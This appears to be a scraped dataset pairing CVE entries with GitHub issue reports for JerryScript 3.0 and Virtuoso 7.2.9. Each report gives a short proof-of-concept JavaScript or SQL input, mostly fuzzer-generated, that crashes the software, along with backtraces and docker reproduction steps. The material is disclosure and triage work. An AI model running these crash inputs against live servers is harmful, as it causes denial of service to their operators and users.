###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```JavaScript
class s { 0 = class { } ; [ 1 ] = class { constructor ( ) { } static name ( s ) { } } ; } new s ( ) ; gc ( ) ; new s ( ) ( e ) ; let t = 32 ;
```
</p>
</details>
``` JavaScript
// poc.js
class s { [ 1 ] = class { constructor ( ) { } static name ( s ) { } } ; }
new s ( ) ;
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ecma_find_named_property (func_obj_p, ecma_get_magic_string (LIT_MAGIC_STRING_NAME)) == NULL' failed at /jerryscript/jerry-core/vm/vm.c(vm_loop):2173.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
credits: @EJueon, @Ye0nny of the seclab-yonsei. | Assertion 'ecma_find_named_property (func_obj_p, ecma_get_magic_string (LIT_MAGIC_STRING_NAME)) == NULL' failed at /jerryscript/jerry-core/vm/vm.c(vm_loop):2173. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5070/comments | 0 | 2023-04-19T03:29:02Z | 2023-04-19T03:29:02Z | https://github.com/jerryscript-project/jerryscript/issues/5070 | 1,674,113,082 | 5,070 |
CVE-2023-31921 | 2023-05-12T14:15:10.007 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_big_uint_div_mod at jerry-core/ecma/operations/ecma-big-uint.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5068"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5068 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7)
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
``` JavaScript
// poc.js
var x = BigInt ( 8 ** 16 + 1 ) ;
x ** BigInt ( 4 ) / x;
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma_big_uint_div_mod):1119.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
(gdb) #0 0xf7efdd99 in __kernel_vsyscall ()
#1 0xf7bd2276 in raise () from /lib32/libc.so.6
#2 0xf7bba3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at /jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at /jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (
assertion=0x846e200 <str> "dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high",
file=0x846d800 <str> "/jerryscript/jerry-core/ecma/operations/ecma-big-uint.c",
function=0x846e080 <__func__.ecma_big_uint_div_mod> "ecma_big_uint_div_mod", line=1119)
at /jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x08380b54 in ecma_big_uint_div_mod (dividend_value_p=0xf4203c40,
divisor_value_p=0xf5600630, is_mod=<optimized out>)
at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c:1119
#7 0x081dfc96 in ecma_bigint_div_mod (left_value=4095753286,
right_value=4116710966, is_mod=<optimized out>)
at /jerryscript/jerry-core/ecma/operations/ecma-bigint.c:1337
#8 0x082be8b9 in do_number_arithmetic (op=<optimized out>,
left_value=<optimized out>, right_value=<optimized out>)
at /jerryscript/jerry-core/vm/opcodes-ecma-arithmetics.c:148
#9 0x082dd6f0 in vm_loop (frame_ctx_p=0xffdc12c0)
at /jerryscript/jerry-core/vm/vm.c:3563
#10 0x082d6b83 in vm_execute (frame_ctx_p=0xffdc12c0)
at /jerryscript/jerry-core/vm/vm.c:5211
#11 0x082d4f62 in vm_run (shared_p=0xffdc13d0, this_binding_value=4118822019,
lex_env_p=0xf56007b0)
at /jerryscript/jerry-core/vm/vm.c:5312
#12 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>,
function_object_p=<optimized out>)
at /jerryscript/jerry-core/vm/vm.c:286
#13 0x0812a4e5 in jerry_run (script=4114614595)
at /jerryscript/jerry-core/api/jerryscript.c:548
#14 0x083eac3f in jerryx_source_exec_script (
path_p=0xffdc21e7 "poc.js")
at /jerryscript/jerry-ext/util/sources.c:68
#15 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
at /jerryscript/jerry-main/main-desktop.c:156
(gdb) quit
```
credits: @EJueon, @Ye0nny of the seclab-yonsei. | Assertion 'dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma_big_uint_div_mod) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5068/comments | 0 | 2023-04-08T14:19:33Z | 2023-04-08T14:19:33Z | https://github.com/jerryscript-project/jerryscript/issues/5068 | 1,659,537,585 | 5,068 |
CVE-2023-31607 | 2023-05-15T15:15:11.573 | An issue in the __libc_malloc component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1120"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1120 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x VARCHAR, k VARCHAR);
CREATE INDEX t1i1 ON t1(c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14,c15,c16,c17,c18,c19,c20,c21,c22,c23,c24,c25,c26,c27,c28,c29,c30,c31,c32,c33,c34,c35,c36,c37,c38,c39,c40,c41,c42,c43,c44,c45,c46,c47,c48,c49,c50,c51,c52,c53,c54,c55,c56,c57,c58,c59,c60,c61,c62,c63,c64,c65,c66,c67,c68,c69,c70,c71,c72,c73,c74,c75,c76,c77,c78,c79,c80,c81,c82,c83,c84,c85,c86,c87,c88,c89,c90,c91,c92,c93,c94,c95,c96,c97,c98,c99,c100,c101,c102,c103,c104,c105,c106,c107,c108,c109,c110,c111,c112,c113,c114,c115,c116,c117,c118,c119,c120,c121,c122,c123,c124,c125,c126,c127,c128,c129,c130,c131,c132,c133,c134,c135,c136,c137,c138,c139,c140,c141,c142,c143,c144,c145,c146,c147,c148,c149,c150,c151,c152,c153,c154,c155,c156,c157,c158,c159,c160,c161,c162,c163,c164,c165,c166,c167,c168,c169,c170,c171,c172,c173,c174,c175,c176,c177,c178,c179,c180,c181,c182,c183,c184,c185,c186,c187,c188,c189,c190,c191,c192,c193,c194,c195,c196,c197,c198,c199,c200,c201,c202,c203,c204,c205,c206,c207,c208,c209,c210,c211,c212,c213,c214,c215,c216,c217,c218,c219,c220,c221,c222,c223,c224,c225,c226,c227,c228,c229,c230,c231,c232,c233,c234,c235,c236,c237,c238,c239,c240,c241,c242,c243,c244,c245,c246,c247,c248,c249,c250,c251,c252,c253,c254,c255,c256,c257,c258,c259,c260,c261,c262,c263,c264,c265,c266,c267,c268,c269,c270,c271,c272,c273,c274,c275,c276,c277,c278,c279,c280,c281,c282,c283,c284,c285,c286,c287,c288,c289,c290,c291,c292,c293,c294,c295,c296,c297,c298,c299,c300,c301,c302,c303,c304,c305,c306,c307,c308,c309,c310,c311,c312,c313,c314,c315,c316,c317,c318,c319,c320,c321,c322,c323,c324,c325,c326,c327,c328,c329,c330,c331,c332,c333,c334,c335,c336,c337,c338,c339,c340,c341,c342,c343,c344,c345,c346,c347,c348,c349,c350,c351,c352,c353,c354,c355,c356,c357,c358,c359,c360,c361,c362,c363,c364,c365,c366,c367,c368,c369,c370,c371,c372,c373,c374,c375,c376,c377,c378,c379,c380,c381,c382,c383,c384,c385,c386,c387,c388,c389,c390,c391,c392,c393,c394,c395,c396,c397,c398,c399,c400,c401,c402,c403,c404,c405,c406,c407,c408,c409,c410,c411,c412,c413,c414,c415,c416,c417,c418,c419,c420,c421,c422,c423,c424,c425,c426,c427,c428,c429,c430,c431,c432,c433,c434,c435,c436,c437,c438,c439,c440,c441,c442,c443,c444,c445,c446,c447,c448,c449,c450,c451,c452,c453,c454,c455,c456,c457,c458,c459,c460,c461,c462,c463,c464,c465,c466,c467,c468,c469,c470,c471,c472,c473,c474,c475,c476,c477,c478,c479,c480,c481,c482,c483,c484,c485,c486,c487,c488,c489,c490,c491,c492,c493,c494,c495,c496,c497,c498,c499,c500,c501,c502,c503,c504,c505,c506,c507,c508,c509,c510,c511,c512,c513,c514,c515,c516,c517,c518,c519,c520,c521,c522,c523,c524,c525,c526,c527,c528,c529,c530,c531,c532,c533,c534,c535,c536,c537,c538,c539,c540,c541,c542,c543,c544,c545,c546,c547,c548,c549,c550,c551,c552,c553,c554,c555,c556,c557,c558,c559,c560,c561,c562,c563,c564,c565,c566,c567,c568,c569,c570,c571,c572,c573,c574,c575,c576,c577,c578,c579,c580,c581,c582,c583,c584,c585,c586,c587,c588,c589,c590,c591,c592,c593,c594,c595,c596,c597,c598,c599,c600,c601,c602,c603,c604,c605,c606,c607,c608,c609,c610,c611,c612,c613,c614,c615,c616,c617,c618,c619,c620,c621,c622,c623,c624,c625,c626,c627,c628,c629,c630,c631,c632,c633,c634,c635,c636,c637,c638,c639,c640,c641,c642,c643,c644,c645,c646,c647,c648,c649,c650,c651,c652,c653,c654,c655,c656,c657,c658,c659,c660,c661,c662,c663,c664,c665,c666,c667,c668,c669,c670,c671,c672,c673,c674,c675,c676,c677,c678,c679,c680,c681,c682,c683,c684,c685,c686,c687,c688,c689,c690,c691,c692,c693,c694,c695,c696,c697,c698,c699,c700,c701,c702,c703,c704,c705,c706,c707,c708,c709,c710,c711,c712,c713,c714,c715,c716,c717,c718,c719,c720,c721,c722,c723,c724,c725,c726,c727,c728,c729,c730,c731,c732,c733,c734,c735,c736,c737,c738,c739,c740,c741,c742,c743,c744,c745,c746,c747,c748,c749,c750,c751,c752,c753,c754,c755,c756,c757,c758,c759,c760,c761,c762,c763,c764,c765,c766,c767,c768,c769,c770,c771,c772,c773,c774,c775,c776,c777,c778,c779,c780,c781,c782,c783,c784,c785,c786,c787,c788,c789,c790,c791,c792,c793,c794,c795,c796,c797,c798,c799,c800,c801,c802,c803,c804,c805,c806,c807,c808,c809,c810,c811,c812,c813,c814,c815,c816,c817,c818,c819,c820,c821,c822,c823,c824,c825,c826,c827,c828,c829,c830,c831,c832,c833,c834,c835,c836,c837,c838,c839,c840,c841,c842,c843,c844,c845,c846,c847,c848,c849,c850,c851,c852,c853,c854,c855,c856,c857,c858,c859,c860,c861,c862,c863,c864,c865,c866,c867,c868,c869,c870,c871,c872,c873,c874,c875,c876,c877,c878,c879,c880,c881,c882,c883,c884,c885,c886,c887,c888,c889,c890,c891,c892,c893,c894,c895,c896,c897,c898,c899,c900,c901,c902,c903,c904,c905,c906,c907,c908,c909,c910,c911,c912,c913,c914,c915,c916,c917,c918,c919,c920,c921,c922,c923,c924,c925,c926,c927,c928,c929,c930,c931,c932,c933,c934,c935,c936,c937,c938,c939,c940,c941,c942,c943,c944,c945,c946,c947,c948,c949,c950,c951,c952,c953,c954,c955,c956,c957,c958,c959,c960,c961,c962,c963,c964,c965,c966,c967,c968,c969,c970,c971,c972,c973,c974,c975,c976,c977,c978,c979,c980,c981,c982,c983,c984,c985,c986,c987,c988,c989,c990,c991,c992,c993,c994,c995,c996,c997,c998,c999,c1000);
```
backtrace:
```c
#0 0x7f073bac91fe (__libc_malloc+0x11e)
#1 0xe1e59b (dk_alloc_reserve_malloc+0x2b)
#2 0xde1ce0 (dk_alloc+0x30)
#3 0xde4cc7 (dk_alloc_box+0x197)
#4 0x7c345b (qr_rec_exec+0xab)
#5 0x4d7c8d (ddl_create_key+0xad)
#6 0x7f07040db688 -- no symbol name found
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at __libc_malloc | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1120/comments | 0 | 2023-04-12T18:42:34Z | 2023-04-14T08:12:11Z | https://github.com/openlink/virtuoso-opensource/issues/1120 | 1,665,064,064 | 1,120 |
CVE-2023-31608 | 2023-05-15T15:15:11.623 | An issue in the artm_div_int component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1123"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1123 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CAST('-9223372036854775808' AS INTEGER) / CAST('-1' AS SMALLINT);
```
backtrace:
```c
#0 0xc227a4 (artm_div_int+0xf4)
#1 0xc23766 (artm_vec+0x7d6)
#2 0x7518c2 (code_vec_run_v+0x10e2)
#3 0x7ac3ff (qn_input+0x38f)
#4 0x7ac8a6 (qn_send_output+0x236)
#5 0x81e26d (set_ctr_vec_input+0x94d)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7bdc6e (qr_exec+0x11ee)
#8 0x7cb446 (sf_sql_execute+0x11a6)
#9 0x7cbf4e (sf_sql_execute_w+0x17e)
#10 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#11 0xe1f01c (future_wrapper+0x3fc)
#12 0xe2691e (_thread_boot+0x11e)
#13 0x7eff81a0c609 (start_thread+0xd9)
#14 0x7eff817dc133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at artm_div_int | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1123/comments | 0 | 2023-04-12T18:49:08Z | 2023-04-14T08:12:12Z | https://github.com/openlink/virtuoso-opensource/issues/1123 | 1,665,072,694 | 1,123 |
CVE-2023-31609 | 2023-05-15T15:15:11.673 | An issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1126"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1126 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE b (
folders VARCHAR(80),
folderid VARCHAR(80),
parentid VARCHAR(80),
rootid VARCHAR(80),
c INTEGER,
path VARCHAR(80),
id VARCHAR(80),
i VARCHAR(80),
d VARCHAR(80),
e VARCHAR(80),
f VARCHAR(80)
);
SELECT case b.d when coalesce((select max(17+coalesce((select max(coalesce((select (select count(distinct case f when 19 then coalesce((select coalesce((select max(11-(abs(d)/abs(11))) from b where not -c in (19,b.d,17)),17) from b where (f in (d,f,b.c))),d) else d end) from b) from b where 17 between e and b.f),b.c)) from b where 13>=e),d)) from b where b.f>b.f),b.d) then 17 else b.f end FROM b WHERE not exists(select 1 from b where 13 between c+17 and (b.id));
```
backtrace:
```c
#0 0x739343 (dfe_unit_col_loci+0x1393)
#1 0x739030 (dfe_unit_col_loci+0x1080)
#2 0x747e8c (sqlg_top_1+0x7c)
#3 0x70d4d4 (sqlo_top_select+0x164)
#4 0x6b72bf (sql_stmt_comp+0x8bf)
#5 0x6ba122 (sql_compile_1+0x1a62)
#6 0x7c8cd0 (stmt_set_query+0x340)
#7 0x7cabc2 (sf_sql_execute+0x922)
#8 0x7cbf4e (sf_sql_execute_w+0x17e)
#9 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#10 0xe1f01c (future_wrapper+0x3fc)
#11 0xe2691e (_thread_boot+0x11e)
#12 0x7fb2a20b9609 (start_thread+0xd9)
#13 0x7fb2a1e89133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at dfe_unit_col_loci | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1126/comments | 1 | 2023-04-12T18:58:35Z | 2023-04-17T19:06:54Z | https://github.com/openlink/virtuoso-opensource/issues/1126 | 1,665,085,302 | 1,126 |
CVE-2023-31610 | 2023-05-15T15:15:11.720 | An issue in the _IO_default_xsputn component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1118"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1118 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t2(x VARCHAR, y VARCHAR, c VARCHAR);
CREATE VIEW t2 AS SELECT * FROM t2;
INSERT INTO t2 VALUES(8,8,RDF_SYS.xsd_hexBinary_fromBinary(SYSTEM_BASE64_ENCODE(zeroblob(200))));
```
backtrace:
```c
#0 0x7f87bcd56050 (_IO_default_xsputn+0xa0)
#1 0x7f87bcd3b0fc (psiginfo+0x13c9c)
#2 0x7f87bcd4ff9a (vscanf+0x14a)
#3 0x7f87bcd25df6 (__snprintf+0x96)
#4 0x5a2227 (sch_full_proc_name_1+0x2c7)
#5 0x7879a3 (sinv_find_func_map+0x143)
#6 0x788fb7 (sinv_check_exp+0x317)
#7 0x78a03d (sinv_sqlo_check_col_val+0xad)
#8 0x816d50 (sqlc_insert_view+0x330)
#9 0x81721d (sqlc_insert_view+0x7fd)
#10 0x81721d (sqlc_insert_view+0x7fd)
...
#5714 0x81721d (sqlc_insert_view+0x7fd)
#5715 0x81721d (sqlc_insert_view+0x7fd)
#5716 0x81721d (sqlc_insert_view+0x7fd)
#5717 0x6b7387 (sql_stmt_comp+0x987)
#5718 0x6ba122 (sql_compile_1+0x1a62)
#5719 0x7c8cd0 (stmt_set_query+0x340)
#5720 0x7cabc2 (sf_sql_execute+0x922)
#5721 0x7cbf4e (sf_sql_execute_w+0x17e)
#5722 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#5723 0xe1f01c (future_wrapper+0x3fc)
#5724 0xe2691e (_thread_boot+0x11e)
#5725 0x7f87bd013609 (start_thread+0xd9)
#5726 0x7f87bcde3133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at _IO_default_xsputn | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1118/comments | 0 | 2023-04-12T18:33:19Z | 2023-04-14T08:12:10Z | https://github.com/openlink/virtuoso-opensource/issues/1118 | 1,665,051,847 | 1,118 |
CVE-2023-31611 | 2023-05-15T15:15:11.770 | An issue in the __libc_longjmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1119"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1119 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE hist (
cnt VARCHAR NOT NULL,
y VARCHAR NOT NULL,
z VARCHAR,
PRIMARY KEY (cnt,y)
);
CREATE TABLE t19d AS (SELECT * FROM hist UNION ALL SELECT 1234);
```
backtrace:
```c
#0 0x7f523bf87dbe (__libc_longjmp+0xde)
#1 0x5177d573a547bfaf -- no symbol name found
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at __libc_longjmp | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1119/comments | 0 | 2023-04-12T18:38:29Z | 2023-04-14T08:12:10Z | https://github.com/openlink/virtuoso-opensource/issues/1119 | 1,665,059,115 | 1,119 |
CVE-2023-31612 | 2023-05-15T15:15:11.813 | An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
